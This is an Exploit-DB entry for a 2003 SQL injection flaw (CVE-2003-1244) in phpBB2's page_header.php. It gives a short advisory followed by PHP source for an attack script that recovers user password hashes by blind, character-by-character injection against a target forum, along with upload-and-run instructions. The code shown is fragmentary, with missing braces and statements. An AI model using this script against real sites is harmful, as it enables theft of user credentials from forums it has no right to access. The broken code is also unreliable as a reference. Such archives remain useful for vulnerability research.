PHPBB2 Page_Header.PHP SQL Injection Vulnerability

ID EDB-ID:22267
Type exploitdb
Reporter David Zentner
Modified 2003-02-19T00:00:00


PHPBB2 Page_Header.PHP SQL Injection Vulnerability. CVE-2003-1244. Webapps exploit for php platform


A SQL injection vulnerability has been reported in phpBB2.

phpBB2, in some cases, does not sufficiently sanitize user-supplied input which is used when constructing SQL queries. As a result, attackers may supply malicious parameters to manipulate the structure and logic of SQL queries. This may result in unauthorized operations being performed on the underlying database. This issue may be exploited to cause sensitive information to be disclosed to a remote attacker. 


########## PHPBB 2.0,2.01,2.02 Auto-SelectFish Attacker

// To use this program, simply upload it to a php enabled webserver, and execute
// If php times out before the whole password hash is determined, 
// adjust the maximum script execution time in php.ini
// Also, replace following with correct values:


// don't change this
$data_to_match="In total there are <b>0</b> users online";


while (list($i2, $i2val) = @each($checkchar)){
if (eregi("$data_to_match","$data")){
else{echo("<br>$i= $i2"); flush();break;}

function sendToHost($host,$method,$path,$data,$useragent=1)
$method = strtoupper($method);
$fp = fsockopen($host,80);
fputs($fp, "$method $path HTTP/1.1\n");
fputs($fp, "Host: $host\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\n");
fputs($fp, "Content-length: " . strlen($data) . "\n");
if ($useragent)
fputs($fp, "User-Agent: Mozilla\n");
fputs($fp, "Connection: close\n\n");
if ($method == 'POST')
fputs($fp, $data);
while (!feof($fp))
$buf .= fgets($fp,128);

return $buf;